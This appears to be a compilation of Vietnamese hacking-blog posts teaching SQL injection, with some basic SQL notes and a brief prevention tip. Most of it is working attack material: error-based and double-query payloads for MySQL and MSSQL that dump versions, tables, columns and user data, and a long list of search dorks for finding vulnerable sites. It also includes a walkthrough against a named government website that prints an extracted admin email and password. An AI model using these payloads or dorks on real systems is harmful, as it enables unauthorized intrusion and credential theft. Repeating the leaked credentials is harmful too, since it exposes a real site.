http://target.com/page.php?id = 1
Lệnh get version, database
http://target.com/page.php?id = 1 [color=#ffffffff]And (Select 1 From(Select Count(*),Concat(CHAR (124),(Select Concat(version(),0x7c,database(),0x7c,user())),floor(rAnd(0)*2),CHAR (124))x From Information_Schema.Tables Group By x)a)

Tương tự vậy, lệnh get table:
And (Select 1 From( Select Count(*), Concat(CHAR (124), (Select substr(Group_concat(table_name),1,145) FROM information_schema.tables where table_schema=database()),floor(rAnd(0)*2), CHAR (124))x FROM Information_Schema.Tables Group By x)a)

Bạn để ý chỗ 1,145…Tăng số 1 đó thành một số lớn hơn (thường là số ký tự được trả ra trong dấu ngoặc kép sau phần duplicate entrie….)

And (Select 1 From( Select Count(*), Concat(CHAR (124), (Select substr(Group_concat(table_name),63,145) FROM information_schema.tables where table_schema=database()),floor(rAnd(0)*2), CHAR (124))x FROM Information_Schema.Tables Group By x)a)

Tiếp theo, lấy column của một table nào đó
And (Select 1 From( Select Count(*), Concat(CHAR (124), (Select substr(Group_concat(column_name),1,145) FROM information_schema.columns where table_schema=database() and table_name=0xso_hex_cua_tablename) ,floor(rAnd(0)*2), CHAR (124))x FROM Information_Schema.Tables Group By x)a)

Tăng số 1 theo nguyên tắc như trên.
Và cuối cùng là dữ liệu:
And (Select 1 From( Select Count(*), Concat(CHAR (124), (Select substr(Group_concat(column_name_1,0x7c,column_name_2),1,145) FROM table_name_nao_do) ,floor(rAnd(0)*2), CHAR (124))x FROM Information_Schema.Tables Group By x)a)
Mỗi site sẽ có cách khai thác khác nhau.Tuỳ cơ ứng biến nhé
===========================================================
+and 1=CAST(current_user||CHR(58)||current_database()|| CHR(58)||version()||CHR(58)||123 as int)
===========================================================
‘ and ’1′=(select 1 AND ExtractValue(1,concat(0x5C,(user())))) and ’1′=’1
===========================================================
and updatexml(0,concat(0x3a,version()),0)– -
===========================================================
null and extractvalue(rand(),concat(0x3a,version(),0x3a,use r()))–
===========================================================
(@:=1)||@ group by concat(version(),0x7c,database(),0x7c,user(),!@) having@||min(@:=0)
===========================================================
/*!And (Select 1 From(Select Count(*),Concat(CHAR (124),(Select concat_ws(0x7c,version(),database(),user())),floor (rAnd(0)*2),CHAR (124))x From Information_Schema.Tables Group By x)a)*/–
===========================================================
+or+1+group+by+concat(0x7c,version(),floor(rand(0) *2))+having+min(0)+or+1–+

Thursday, May 22, 2014

Aspx Sqli

check loi = '
loi hien thi
 Unclosed quotation mark after the character string ''?
=>> sqli

 Bu?c 2: Truy v?n tên các table
http://www.duytien.gov.vn/?cat=170000 and 1=convert(int,(select top 1 table_name from information_schema.tables))-- -
xuat hien table thu 1 = 'Advert'
Conversion failed when converting the nvarchar value 'Advert' to data type int

 Ti?p t?c truy v?n:
http://www.duytien.gov.vn/?cat=170000 and 1=convert(int,(select top 1 table_name from information_schema.tables where table_name not in ('Advert')))-- -
xuat hien Nick
Conversion failed when converting the nvarchar value 'Nick' to data type int.

tip tuc
http://www.duytien.gov.vn/?cat=170000 and 1=convert(int,(select top 1 table_name from information_schema.tables where table_name not in ('Advert','Nick')))-- -
xuat hien 'Cate'
Conversion failed when converting the nvarchar value 'Cate' to data type int.
tip tuc cho toi khi thay khi thay table Users == table chua thong tin can
http://www.duytien.gov.vn/?cat=170000 and 1=convert(int,(select top 1 table_name from information_schema.tables where table_name not in ('Advert','Nick','Cate','News','Site','CateManager','Users')))-- -

 Bu?c 3 : Truy v?n tên các columns
http://www.duytien.gov.vn/?cat=170000 and 1=convert(int,(select top 1 column_name from information_schema.columns where table_name=('Users') ))-- -

tip tuc khai thac
http://www.duytien.gov.vn/?cat=170000  and 1=convert(int,(select top 1 column_name from information_schema.columns where table_name=('Users') and column_name not in ('ID','Email','PassWord','Active','own')))-- -
buoc 4 show thong tin mun lay o day la email va pass
thong tin mail
http://www.duytien.gov.vn/?cat=170000  and 1=convert(int,(select top 1 Email from Users))-- -
adminduytien
http://www.duytien.gov.vn/?cat=170000  and 1=convert(int,(select top 1 PassWord from Users))-- -
duytien123
show cung luc 2 thong tin su dung %2b'/'%2b =>/
http://www.duytien.gov.vn/?cat=170000 and 1=convert(int,(select top 1 Email%2b'/'%2bPassWord from Users))-- -

 Bu?c 5: Tìm link admin và dang nhâp
tu xu :v






K?t Lu?n Các Query SQLI Trong Aspx C?n Luu Ý


1- Get the version:

and 1=convert(int,@@version)-- -?


Server Error in '/' Application.
Conversion failed when converting the nvarchar value 'Microsoft SQL Server 2008 (RTM) - 10.0.1600.22 (X64)
Jul  9 2008 14:17:44
Copyright (c) 1988-2008 Microsoft Corporation
Enterprise Edition (64-bit) on Windows NT 6.1 <X64> (Build 7601: Service Pack 1)
' to data type int.

2- Get Server Name

and 1=convert(int,@@servername)-- -?

Conversion failed when converting the nvarchar value 'WIN-1VBUV10IB3G' to data type int.

3- Get data base name:

and 1=convert(int,db_name())-- -?

Conversion failed when converting the nvarchar value 'duytien_data' to data type int.

4- Get system user

and 1=convert(int,system_user) -- -?

Conversion failed when converting the nvarchar value 'duytien_user' to data type int.

5- Get table th? nh?t

and 1=convert(int,(select top 1 table_name from information_schema.tables))-- -?

6- Get table th? 2:

and 1=convert(int,(select top 1 table_name from information_schema.tables where table_name not in ("FIRST-TABLE-HERE")))-- -?

7- Get table th? 3 :

and 1=convert(int,(select top 1 table_name from information_schema.tables where table_name not in ("Second-Table-Here")))-- -?

8- Get d?n table user d? l?y thông tin dang nh?p c?a admin


10 - Get column th? nh?t t? table ch?a admin :

and 1=convert(int,(select top 1 column_name from information_schema.columns where table_name=("TABLE-NAME-HERE")))-- -?

11- Get column th? nh?t t? table ch?a admin :

and 1=convert(int,(select top 1 column_name from information_schema.columns where table_name=("TABLE-NAME-HERE")?
and column_name not in ("FIRST-COLUMNS-HERE")))-- -

12- Get cho h?t các columns c?n l?y thông tin


13- Xu?t ra thông tin username và password

and 1=convert(int,(select top 1 column-name-1%2b’/’%2bcolumn-name-2 from TABLE-NAME-HERE))-- -?

Monday, May 19, 2014

Cơ bản về SQL và Exploit SQL Injection

SQL (Structured Query Language) hay tiếng việt gọi là “Ngôn Ngữ Truy Vấn Cấu Trúc”: là loại ngôn ngữ phổ biến để tạo, sửa, lấy dữ liệu từ hệ thống quản trị cơ sở dữ liệu(có thể là SQL Server hay MySQL hay Oracle, DB2, Sysbase) theo tiêu chuẩn ANSI/ISO.

Các từ khóa SQL:

Từ khóa SQL được chia thành nhiều nhóm.

Truy vấn lấy dữ liệu (Query SQL Get Data):

SELECT: là lệnh sử dụng phổ biến, rộng rãi, là ngôn ngữ sửa đổi dữ liệu(tạm dịch) tiếng anh Data Manipulation Language – DML.

xem thêm về SELECT

Những từ khóa liên quan tới SQL

FROM dùng để chỉ định dữ liệu sẽ được lấy ra từ những bảng nào, và các bảng đó quan hệ với nhau như thế nào.
WHERE dùng để xác định những bản ghi nào sẽ được lấy ra, hoặc áp dụng với GROUP BY.
GROUP BY dùng để kết hợp các bản ghi có những giá trị liên quan với nhau thành các phần tử của một tập hợp nhỏ hơn các bản ghi.
HAVING dùng để xác định những bản ghi nào, là kết quả từ từ khóa GROUP BY, sẽ được lấy ra.
ORDER BY dùng để xác định dữ liệu lấy ra sẽ được sắp xếp theo những cột nào.

Truy vấn sửa đổi dữ liệu (Data Manipulation Language – DML):

là môt phần nhỏ của ngôn ngữ, có những thành phần tiêu chuẩn dùng để thêm, cập nhật và xóa dữ liệu delete data.

Những thẻ liên quan:


INSERT(Xem thêm) dùng để thêm dữ liệu vào một bảng đã tồn tại.

UPDATE(Xem thêm) dùng để thay đổi giá trị của một tập hợp các bản ghi trong một bảng.

MERGE dùng để kết hợp dữ liệu của nhiều bảng. Nó được dùng như việc kết hợp giữa hai phần tử INSERT và UPDATE.

DELETE(Xem thêm) xóa những bản ghi tồn tại trong một bảng.

TRUNCATE Xóa toàn bộ dữ liệu trong một bảng (không phải là tiêu chuẩn, nhưng là một lệnh SQL phổ biến).

Tham khảo thêm tại Wikimedia


SQL Injection là một kĩ thuật cho phép kẻ tấn công lợi dụng việc kiểm tra dữ liệu đầu vào trong các ứng dụng website sử dụng SQL tiêm(inject) và thi hành các câu lệnh bất hợp pháp để khai thác thông tin, dữ liệu trong hệ quản trị cơ sở dữ liệu.

Tham khảo thêm về SQL Injection tại Wikimedia

Các truy vấn trong Sql injection

UNION: là lệnh để kết hợp 2 câu truy vấn lại với nhau

FROM: là lệnh để chọn bảng để thi hành lấy dữ liệu

CONCAT: lệnh dùng để nỗi các chuỗi bên trong nó lại với nhau

Một số hình thức khai thác SQL Injection

Xem thêm tại các blog chuyên đề sql injection:

Xpath injection – Quý Thiếu Gia Blog

Error based, Double Query injection – Quý Thiếu Gia Blog

Một số hình thức bypass Sql injection – Quý Thiếu Gia Blog

Một số phương pháp để phòng lỗi SQL Injection

SQL Injection mình giới thiệu ở phía trên là lỗi không kiểm tra các dữ liệu đầu vào, để vá lỗi này, ta có một số phương pháp đơn giản sau để giảm thiểu:

-Dùng Htaccess để require lại link.

-Kiểm tra dữ liệu đầu vào, loại bỏ các kí tự đặc biệt như ‘,”,*,… hoặc nếu dữ liệu đầu vào là số nguyên (integer) thì ta có thể cố định dữ liệu gửi vào để loại bỏ toàn bộ các kí tự bất hợp pháp, loại dữ liệu khác với integer.

Tổng Hợp Dork SQLi

Tổng Hợp Dork SQLi mới nhất

index.php?id=
trainers.php?id=
buy.php?category=
article.php?ID=
play_old.php?id=
declaration_more.php?decl_id=
pageid=
games.php?id=
page.php?file=
newsDetail.php?id=
gallery.php?id=
show.php?id=
staff_id=
newsitem.php?num=
readnews.php?id=
top10.php?cat=
historialeer.php?num=
reagir.php?num=
Stray-Questions-View.php?num=
forum_bds.php?num=
game.php?id=
view_product.php?id=
newsone.php?id=
sw_comment.php?id=
news.php?id=
avd_start.php?avd=
event.php?id=
product-item.php?id=
sql.php?id=
news_view.php?id=
select_biblio.php?id=
humor.php?id=
aboutbook.php?id=
ogl_inet.php?ogl_id=
fiche_spectacle.php?id=
communique_detail.php?id=
sem.php3?id=
kategorie.php4?id=
faq2.php?id=
show_an.php?id=
preview.php?id=
loadpsb.php?id=
opinions.php?id=
spr.php?id=
pages.php?id=
announce.php?id=
clanek.php4?id=
participant.php?id=
download.php?id=
main.php?id=
review.php?id=
chappies.php?id=
read.php?id=
prod_detail.php?id=
viewphoto.php?id=
person.php?id=
productinfo.php?id=
showimg.php?id=
view.php?id=
website.php?id=
hosting_info.php?id=
rub.php?idr=
view_faq.php?id=
artikelinfo.php?id=
detail.php?ID=
index.php?=
profile_view.php?id=
category.php?id=
publications.php?id=
fellows.php?id=
downloads_info.php?id=
prod_info.php?id=
shop.php?do=part&id=
collectionitem.php?id=
band_info.php?id=
product.php?id=
releases.php?id=
ray.php?id=
produit.php?id=
pop.php?id=
shopping.php?id=
productdetail.php?id=
post.php?id=
viewshowdetail.php?id=
clubpage.php?id=
memberInfo.php?id=
section.php?id=
theme.php?id=
page.php?id=
shredder-categories.php?id=
tradeCategory.php?id=
product_ranges_view.php?ID=
shop_category.php?id=
transcript.php?id=
channel_id=
item_id=
newsid=
news-full.php?id=
news_display.php?getid=
index2.php?option=
material.php?id=
viewapp.php?id=
galeri_info.php?l=
iniziativa.php?in=
curriculum.php?id=
labels.php?id=
story.php?id=
look.php?ID=
tekst.php?idt=
newscat.php?id=
newsticker_info.php?idn=
rubrika.php?idr=
rubp.php?idr=
offer.php?idf=
art.php?idm=
title.php?id=

Khai Thác SQLi Error Based - Double Query

Câu lệnh Check Site Khi Site báo Error
------------------------------------------------------------------------------------------------------------
Query khi Union Select ko được truy vấn:
+Cách I: And(Select 1 From(Select Count(*),Concat((Select Concat(0x2f,version(),0x2f,database(),0x2f,user(),0x2f)),floor(rAnd(0)*2))QuyTG From Information_Schema.columns Group By QuyTG)VHG)

+Cách II: And(Select 1 From(Select Count(*),Concat((Select substr(Group_Concat(0x2f,version(),0x2f,database(),0x2f,user(),0x2f),1,136)From tbl_user),floor(rAnd(0)*2))TYN From Information_Schema.columns Group By QuyTG)VHG)

+Cách III: and (select 1 from (select count(*),concat(0x2f,version(),0x2f,database(),0x2f,user(),0x2f,floor(rand(0)*2)) from (select 1 union select 2 union select 3)TYN group by 2)vnhack)
+Cách IV: or 1 group by concat(0x2f,version(),0x2f,database(),0x2f,user(),0x2f,floor(rand(0)*2)) having min(1) or 1-- -

=> Ta sẽ get được version và các thứ linh tinh

------------------------------------------------------------------------------------------------------------

Query "Get Table_name":
And(Select 1 From(Select Count(*),Concat((select table_name from information_schema.tables where table_schema=database() limit 0,1),floor(rAnd(0)*2))QuyTG From Information_Schema.columns Group By QuyTG)VHG)

Thay limit 0,1 thành limit 1,2 rồi limit 2,1 rồi limit 3,1... cho tới tên bẳng mà mình cần khai thác
------------------------------------------------------------------------------------------------------------

Query "Get Columns_name":
And(Select 1 From(Select Count(*),Concat((select column_name from information_schema.columns where table_schema=database() and table_name=... limit 0,1),floor(rAnd(0)*2))QuyTG From Information_Schema.columns Group By QuyTG)VHG)



Thay limit 0,1 thành limit 1,2 rồi limit 2,1 rồi limit 3,1... cho tới tên bẳng mà mình cần khai thác

------------------------------------------------------------------------------------------------------------

And(Select 1 From(Select Count(*),Concat((select concat(0x2f,...,0x2f,...,0x2f) from tbl_user limit 0,1),floor(rAnd(0)*2))QuyTG From Information_Schema.columns Group By QuyTG)VHG)

nguồn : http://quytg-cehv.blogspot.com/

Tài liệu SQL Injection

Ebook về  SQL Injection
Ebook download
sẽ bổ sung thêm :D

Cơ Bản về SQL

SQL & SQL Injection
I. Cơ bản về SQL (structured query language)
1. Khái niệm database : Database Là một tập hợp các dữ liệu có liên quan với nhau chứa thông tin về một tổ chức nào đó (như một trường đại học, một ngân hàng, một công ty, một nhà máy, một website...)

2. Một số loại database : MySQL, SQL Server, Access, Oracle, Sybase, DB2, and other database systems.

3. Cấu trúc :
a) Tên database (create database name_database ) : Tên tổng quát mình muốn đặt cho database cần tạo. Trong 1 database gồm có nhiều table.
Ví dụ : quản lý học sinh, DB_shop ...
b) Table (create table name_table ) : Table dùng để chứa các đối tượng cần lưu trữ dưới dạng dữ liệu. Trong mỗi table thì có nhiều row và column. Mỗi column sẽ là một trường dữ liệu có kiểu dữ liệu cụ thể. Giúp nhận định rõ thông tin cần lưu là gì.
c) Select [thông tin muốn lấy] from [bảng muốn lấy] where [điều kiện lấy ] -> đối với đối tượng đã có database.
Ví dụ : select * from admin
d) Nếu bạn tiếp cận dưới hình thức tìm lỗi. Bạn sẽ không biết được database cụ thể. Lúc này bạn phải dùng tới cấu trúc information_schema.
Ví dụ : select * from information_schema.tables where table_schema = 'name'

Các bạn có thể xem chi tiết hơn tại phần download bên dưới.
Nguồn: Admin CEH Valentine